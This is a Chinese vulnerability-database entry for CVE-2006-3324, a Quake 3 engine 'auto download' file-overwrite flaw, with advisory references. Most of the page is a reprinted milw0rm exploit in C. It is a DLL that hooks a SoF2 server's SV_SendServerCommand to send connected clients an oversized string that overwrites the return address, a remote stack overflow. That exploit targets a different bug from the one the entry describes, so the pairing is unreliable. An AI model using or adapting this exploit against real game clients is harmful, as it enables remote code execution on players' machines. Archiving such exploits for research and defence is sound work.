id3 Quake 3 Engine/Icculus Quake 3 Engine "自动下载"选项 输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110551 漏洞类型
发布时间 2006-07-02 更新时间 2006-07-03
CVE编号 CVE-2006-3324 CNNVD-ID CNNVD-200606-615
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/1976
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200606-615
|漏洞详情
id3Quake3Engine和IcculusQuake3Engine(ioquake3)804修订版之前版本中的"自动下载"选项,可让远程攻击者通过包含在neededpaks缓冲区中的长文件名字符串,可让远程攻击者覆盖quake3目录(fs_homepathcvar)中的任意文件。
|漏洞EXP
/*
Quake 3 Engine Client CG_ServerCommand() Remote Stack Overflow Exploit (Win32)
Written by RunningBon

E-Mail: runningbon@gmail.com
IRC: irc.rizon.net #kik

This is a DLL, which gets injected into the server exe.

You will need Microsoft Detours library to compile this exploit (http://research.microsoft.com/sn/detours/)

Use this responsibly. You are responsible for any damage you cause using this.

Info:
The string is heavily filtered before the overflow occurs, so a lot of bytes get stripped. Might want to try alphanum shellcode..
*/

#include <stdio.h>
#include <windows.h>
#include <detours.h>

struct VersionStruct {
	char *pVersionString;
	DWORD dwVersionStringAddr;
	DWORD dwSendServerCommandAddr;
	DWORD dwFillSize;
	DWORD dwNewEIP;
};

VersionStruct Versions[] = {
	{ "SOF2MP GOLD V1.03", 0x5598F8, 0x478660, 999, 0x33333333 },	//SoF2 1.03
};

VersionStruct *pVersion = NULL;

void (*orig_SV_SendServerCommand)(LPVOID pCl, const char *fmt, ...);
void SV_SendServerCommand_Hook(LPVOID pCl, const char *fmt, ...)
{
	char szString[4096];
	char *pPtr = NULL;

	if(pVersion != NULL)
	{
		memset(szString, 0, sizeof(szString));
		pPtr = &szString[0];

		memset(pPtr, 'a', pVersion->dwFillSize);
		pPtr += pVersion->dwFillSize;

		memcpy(pPtr, (LPVOID)&pVersion->dwNewEIP, sizeof(DWORD));
		pPtr += sizeof(DWORD);

		orig_SV_SendServerCommand(pCl, szString);
	}
}

bool WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)
{
	if(dwReason == DLL_PROCESS_ATTACH)
	{
		for(int i = 0; i < sizeof(Versions) / sizeof(Versions[0]); i++)
		{
			if(!stricmp((char*)Versions[i].dwVersionStringAddr, Versions[i].pVersionString))
			{
				pVersion = &Versions[i];
				break;
			}
		}

		if(pVersion == NULL)
		{
			//Could not find correct version
			return 1;
		}

		DetourFunction((BYTE*)pVersion->dwSendServerCommandAddr, (BYTE*)SV_SendServerCommand_Hook);
		_asm mov [orig_SV_SendServerCommand], eax
	}

	return 1;
}

// milw0rm.com [2006-07-02]
|参考资料

来源:VUPEN
名称:ADV-2006-2569
链接:http://www.frsirt.com/english/advisories/2006/2569
来源:BID
名称:18685
链接:http://www.securityfocus.com/bid/18685
来源:BUGTRAQ
名称:20060628Re:FilesandcvarsoverwritinginQuake3engine(1.32c/rev803/...)
链接:http://www.securityfocus.com/archive/1/archive/1/438660/100/0/threaded
来源:BUGTRAQ
名称:20060627FilesandcvarsoverwritinginQuake3engine(1.32c/rev803/...)
链接:http://www.securityfocus.com/archive/1/archive/1/438515/100/0/threaded
来源:svn.icculus.org
链接:http://svn.icculus.org/quake3?rev=804&view=rev
来源:SECUNIA
名称:20851
链接:http://secunia.com/advisories/20851
来源:SECUNIA
名称:20401
链接:http://secunia.com/advisories/20401
来源:MISC
链接:http://aluigi.altervista.org/adv/q3cfilevar-adv.txt
来源:XF
名称:quake3-cvar-file-overwrite(27486)
链接:http://xforce.iss.net/xforce/xfdb/27486
来源:SREASON
名称:1171
链接:http://securityreason.com/securityalert/1171